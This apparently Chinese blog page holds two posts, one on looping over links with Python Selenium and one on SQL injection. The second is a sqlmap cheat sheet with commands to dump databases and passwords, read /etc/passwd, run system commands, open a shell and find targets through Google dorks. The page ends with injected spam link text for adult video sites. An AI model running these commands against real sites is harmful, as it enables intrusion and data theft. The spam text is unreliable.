      在python中,如果我們指定i在range(0, x)中循環時,會以1為步長來遍歷從0到(x-1)的序列。例如:range(0,5)會得到[0, 1, 2, 3, 4]。當我們想更改range的步長時,則需要為range方法提供第三個參數。例如:range(0,5,2),則會以2為步長,得到[0,2,4]這個序列。
      另外,我們也可以使用類似C#中foreach的方法:
      for targetLink in driver.find_elements_by_tag_name("a"):
      這種方法同樣可以遍歷所有的a標簽集合中的所有元素。
      如果使用第二種方法,我們覺得這個需求可以簡單的實現為:
    links = driver.find_elements_by_tag_name("a")
    for link in links:
    if not "_blank" in link.get_attribute("target") and ("google" in link.et_attribute("href") or not "http" in link.get_attribute("href")):
    link.click()
    driver.back()
    但是這樣的實現在運行時會拋出異常:
      selenium.common.exceptions.StaleElementReferenceException: Message: u'Element not found in the cache - perhaps the page has changed since it was looked up'
      異常的說明已經很明顯了:在cache中找不到元素,在元素被找到之后頁面變換了。 這就說明,當當前頁面發生跳轉之后,存在cache中的關于這個頁面的元素也被清空了。
      因此,我們需要在每次回到原始頁面之后對我們感興趣的a標簽元素重新搜索,同時我們又必須接著上次的點擊到的元素繼續點擊。因此我們使用第一種遍歷的方法來實現這個for loop:
    length = len(driver.find_elements_by_tag_name("a")
    for i in range(0,length):
    links = driver.find_elements_by_tag_name("a")
    link = links[i]
    if not ("_blank" in link.get_attribute("target") or "http" in link.get_attribute("href")):
    link.click()
    driver.back()
      這樣,在每次返回頁面之后會重新搜索一遍頁面上的a元素,然后使用cache中的i繼續點擊下一個跳轉鏈接。
    相關文章:
    Python Selenium自動化(二)自動化注冊流程

    posted @ 2014-06-18 10:51 順其自然EVO 閱讀(2827) | 評論 (0)編輯 收藏

    安全攻防之SQL注入

     第一步:
      sqlmap基于Python,所以首先下載:
      http://yunpan.cn/QiCBLZtGGTa7U  訪問密碼 c26e
      第二步:
      安裝Python,將sqlmap解壓到Python根目錄下;
      第三步:
      小試牛刀,查看sqlmap版本:
      python sqlmap/sqlmap.py -h
      第四步
      通過SQL注入掃描工具掃描網站,找出懷疑有SQL注入問題的URL;
      推薦 啄木鳥 !~~ 《oo》
      第五步:
      1.基礎信息
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #獲取當前用戶名稱
    python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #獲取當前數據庫名稱
    python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #獲取字段內容
      2.信息內容
    python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  執行測試等級
    python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定數據庫類型
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --users  #列數據庫用戶
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs#列數據庫
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords #數據庫用戶密碼
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用戶數據庫密碼
    python sqlmap/sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20條
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有數據庫所有表
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges #查看權限
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用戶權限
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是數據庫管理員
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --roles #枚舉數據庫用戶角色
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --udf-inject #導入用戶自定義函數(獲取系統權限?。?/div>
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -v 0 #列出當前庫所有表
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查詢表記錄
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   -b #獲取banner信息
    python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入
    python sqlmap/sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指紋判別數據庫類型
    python sqlmap/sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入
    python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定關鍵詞
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --sql-shell #執行指定sql命令
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #執行系統命令
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-shell #系統交互shell
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-pwn #反彈shell
    python sqlmap/sqlmap.py -u "http://url/news?id=1"   --reg-read #讀取win系統注冊表
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存進度
    python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs  -o "sqlmap.log" --resume  #恢復已保存進度sqlmap -g "google語法" --dump-all --batch  #google搜索注入點自動 跑出所有字段攻擊實例
    python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

    posted @ 2014-06-18 10:49 順其自然EVO 閱讀(246) | 評論 (0)編輯 收藏

    僅列出標題
    共394頁: First 上一頁 98 99 100 101 102 103 104 105 106 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導航

    統計

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 视频一区在线免费观看| a毛片免费在线观看| 久久久久噜噜噜亚洲熟女综合| aaa毛片免费观看| 五月天婷婷精品免费视频| 亚洲人成亚洲人成在线观看 | 亚洲人成人无码.www石榴| 日韩免费在线观看视频| 中文字幕亚洲综合久久男男| 99国产精品视频免费观看| 亚洲GV天堂无码男同在线观看| 中文字幕亚洲天堂| 欧亚精品一区三区免费| 岛国岛国免费V片在线观看| 在线A亚洲老鸭窝天堂| 免费精品国偷自产在线在线 | 亚洲娇小性xxxx| 综合在线免费视频| EEUSS影院WWW在线观看免费| 亚洲免费在线观看视频| 亚洲人色婷婷成人网站在线观看| 一二三四影视在线看片免费| 女人隐私秘视频黄www免费| 亚洲精品自偷自拍无码| 色婷婷六月亚洲婷婷丁香| 亚洲高清免费视频| 一级做a免费视频观看网站| 亚洲免费视频播放| 婷婷亚洲综合五月天小说| 日本免费xxxx色视频| 丰满少妇作爱视频免费观看| 国产午夜亚洲精品| 国产成人免费A在线视频| 亚洲欧洲免费视频| 精品丝袜国产自在线拍亚洲| 国产亚洲人成网站观看| 国产一级一片免费播放i| 4399好看日本在线电影免费| 久久香蕉国产线看免费| 2022免费国产精品福利在线| 在线观看免费亚洲|